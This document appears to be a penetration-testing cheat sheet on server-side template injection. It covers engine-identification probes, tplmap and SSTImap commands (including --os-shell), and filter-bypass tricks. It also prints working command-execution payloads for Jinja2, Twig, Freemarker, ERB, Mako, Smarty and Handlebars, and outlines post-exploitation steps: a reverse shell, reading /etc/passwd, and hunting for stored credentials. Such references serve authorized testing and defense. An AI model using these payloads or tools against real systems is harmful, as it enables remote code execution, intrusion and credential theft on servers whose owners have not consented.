SSTI
Sections SSTI
User input rendered through a server-side template engine. Almost always escalates to RCE.
T=https://target.com
i. Where it lives
Anywhere the app puts user input into a templated output:
- Profile fields displayed on a “welcome, {name}” page
- Email templates (“Hi {firstname}”)
- Error pages echoing user input
- Search results that personalize the page
- Generated PDF reports (often Jinja2 / wkhtmltopdf)
- Wiki / CMS preview features
- Notification messages
- Admin-configurable templates exposed via UI
Signal that you’re dealing with templating, not just reflection:
- Math operators evaluated server-side (
{{7*7}}→49in body) - Template-style errors when you inject braces (
UndefinedError,TemplateSyntaxError,Liquid syntax error) - Multiple bracket styles all behave differently
ii. Engine identification
The first job is figuring out the engine. Each has a distinctive math probe:
| Probe | Engine | Stack |
|---|---|---|
{{7*7}} → 49 | Jinja2, Twig, Mako, Liquid, Django, Smarty (most common) | Python, PHP, Ruby, Liquid (Shopify), Pug |
{{7*'7'}} → 49 (numeric) | Twig (PHP) | PHP |
{{7*'7'}} → 7777777 | Jinja2 | Python (Flask, Django, Ansible) |
${7*7} → 49 | Freemarker, Velocity | Java |
#{7*7} → 49 | Ruby ERB, Slim | Ruby |
<%= 7*7 %> → 49 | ERB, EJS | Ruby, Node.js |
*{7*7} → 49 | Thymeleaf | Java |
{php}echo 7*7;{/php} | Smarty | PHP |
@(7*7) | Razor | .NET |
{{=7*7}} | dot.js, doT | Node.js |
{{#with "test"}}{{7*7}}{{/with}} | Handlebars | Node.js |
Best practice: try several probes and observe responses. The PortSwigger SSTI decision tree at the end of this file is exhaustive - keep it open while triaging.
iii. tplmap and SSTImap
tplmap is the original (Python 2, somewhat dated):
tplmap.py -u "$T/page?name=test*"
tplmap.py -u "$T/page" --data 'name=test*'
tplmap.py -u "$T/api" --cookie 'session=abc*'
tplmap.py -u "$T/page?name=test*" --os-shell
SSTImap is the modern Python 3 fork (active maintenance):
sstimap -u "$T/page?name=test*"
sstimap -u "$T/page?name=test" --os-shell
sstimap -u "$T/page?name=test" --eval-cmd 'id'
sstimap -u "$T/page?name=test" --eval-file payload.py
Both auto-detect the engine and apply the right escape chain.
iv. Manual exploitation chains
Each engine has its own escape from sandboxed template context into Python / Ruby / Java / etc. The chains change as libraries patch, so use HackTricks per-engine pages as the source of truth. Below: just the “I’m in, now what” tools per engine.
Jinja2 (Python - Flask, Django Jinja extension)
The classic escape pattern uses Python’s class inheritance to reach os / subprocess. Modern Jinja2 sandboxing blocks __globals__ and mro in some configs, so you may need to chain through subclasses() of object.
Common one-liner shape (modern Jinja2):
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Full reference: PayloadsAllTheThings - Jinja2
Twig (PHP)
Sandbox bypasses depend on the Twig version. Recent versions are tighter, older versions accept _self:
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
Freemarker / Velocity (Java)
Freemarker:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Velocity:
#set($e="exp"+"loit")
#set($r=$e.getClass().forName("java.lang.Runtime"))
ERB / Ruby
<%= `id` %>
<%= system('id') %>
<%= Kernel.system('id') %>
<%= eval('`id`') %>
Mako (Python)
${self.module.cache.util.os.popen('id').read()}
Smarty (PHP)
{php}echo `id`;{/php} ## Smarty < 3
{system($_GET[c])} ## with system() exposed
Handlebars (Node.js)
Sandbox-escape via constructor chain:
{{#with "constructor"}}
{{#with split as |a|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id');"}}
...
Full payload on PayloadsAllTheThings - Handlebars chains are long.
v. Tricks worth knowing
Try probes that look harmless
When {{ and }} are filtered, the engine may still accept other syntax. Many engines support multiple delimiter styles:
{%= 7*7 %} ## ERB-like
${ 7*7 } ## EL / Freemarker
<%= 7*7 %> ## ERB style
{{= 7*7 }} ## dot
Polyglot to detect engine in one shot
Different engines fail in different ways. Read the error message - it names the engine.
Look at framework, not the page
If you see Flask in the response (Werkzeug in error pages, Set-Cookie: session=eyJ...), templates are almost always Jinja2. If you see Spring (X-Application-Context header, Spring error pages), templates are usually Thymeleaf or Freemarker.
PDF generators
Look for “Download as PDF” / “Print invoice” features. Backend often uses wkhtmltopdf, weasyprint, or pdfkit with HTML+Jinja2. Try injecting {{}} into name fields, see if the rendered PDF evaluates them.
Email template injection
“Email me a copy” features often render an HTML email through a templating engine. Same surface, different output. Check email source for evaluated expressions.
Server-side XSS that’s actually SSTI
A reflected {{ that survives = SSTI candidate, not just XSS. Always test math before concluding it’s “just XSS.”
Filter bypass
- Concatenation:
{{ "id" }}becomes a string. Build forbidden keywords from concatenation:{{ "po"+"pen" }} - Hex / unicode encoding in some engines:
{{ "\x69d" }} - Attribute access via
[]:{{ ""['__class__'] }} ## same as ""."__class__"
vi. Tools to keep handy
- tplmap / SSTImap - detection + exploit framework
- interactsh - blind detection via OAST when math probes fail to render visibly
- Burp Intruder with engine-specific payload lists
vii. References
- PortSwigger - SSTI
- PortSwigger - SSTI methodology
- PayloadsAllTheThings - SSTI
- HackTricks - SSTI
- James Kettle - SSTI research - original paper
- SSTI decision tree - branching probe set
viii. Where it leads
Almost every SSTI is RCE-equivalent. After confirming the math probe and finding a working escape:
- Spawn a reverse shell payload through the engine’s exec chain, see Reverse Shells
- Land on the host → 03 Shell & Tooling
- Local enum → 05 Local Enum
- On cloud → metadata endpoint via OAST request from inside, see Cloud Recon
If the engine’s sandbox blocks command exec but allows arbitrary attribute access, escalate via file read:
- Read
/etc/passwd, app configs, env vars - Read source code for additional attack surface
- Look for stored creds, see 11 PrivEsc - Credentials & Files